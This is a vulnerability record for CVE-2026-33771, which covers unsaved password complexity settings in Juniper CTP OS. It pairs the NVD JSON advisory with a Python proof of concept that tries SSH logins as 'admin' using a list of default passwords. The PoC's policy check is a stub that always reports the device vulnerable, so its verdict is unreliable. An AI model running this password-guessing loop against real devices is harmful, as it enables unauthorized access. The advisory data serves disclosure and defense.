CVE-2026-33771

# This is a conceptual PoC to demonstrate checking for weak password policies or brute-forcing. # Since the vulnerability is about configuration not saving, the PoC verifies the policy state. import paramiko import socket # Target configuration target_ip = "192.168.1.1" port = 22 username = "admin" weak_passwords = ["admin", "password", "123456", "juniper"] def check_weak_password_policy(): """ Simulates checking if the device enforces strong password requirements. In a real scenario, this might involve parsing CLI output from 'Show password requirements'. """ print(f"[*] Attempting to connect to {target_ip} to verify password policy enforcement...") # This is a placeholder for the actual logic to check configuration persistence # If the CLI shows 'Minimum length: 0' or 'No complexity' after setting it, it's vulnerable. return True def attempt_brute_force(): """ Attempts to authenticate using weak passwords. """ print(f"[*] Starting brute force attempt on {target_ip}...") for password in weak_passwords: try: # Using SSH as a potential vector if CTP OS supports it, or Telnet client = paramiko.SSHClient() client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) client.connect(target_ip, port=port, username=username, password=password, timeout=3) print(f"[+] Success! Logged in with password: {password}") client.close() return True except paramiko.AuthenticationException: print(f"[-] Failed with password: {password}") except Exception as e: print(f"[!] Error connecting: {e}") break return False if __name__ == "__main__": if check_weak_password_policy(): print("[!] Device appears to have weak password requirements (Vulnerable).") attempt_brute_force() else: print("[+] Device enforces strong password policies.")

{"cve": {"id": "CVE-2026-33771", "sourceIdentifier": "[email protected]", "published": "2026-04-09T22:16:25.430", "lastModified": "2026-04-13T15:02:27.760", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "A Weak Password Requirements vulnerability in the password management function of Juniper Networks CTP OS might allow an unauthenticated, network-based attacker to exploit weak passwords of local accounts and potentially take full control of the device.\n\nThe password management menu enables the administrator to set password complexity requirements, but these settings are not saved. The issue can be verified with the menu option \"Show password requirements\". Failure to enforce the intended requirements can lead to weak passwords being used, which significantly increases the likelihood that an attacker can guess these and subsequently attain unauthorized access.\n\n\n\nThis issue affects CTP OS versions 9.2R1 and 9.2R2."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:X/V:X/RE:M/U:X", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "YES", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "MODERATE", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 7.4, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-521"}]}], "references": [{"url": "https://kb.juniper.net/JSA107864", "source": "[email protected]"}]}}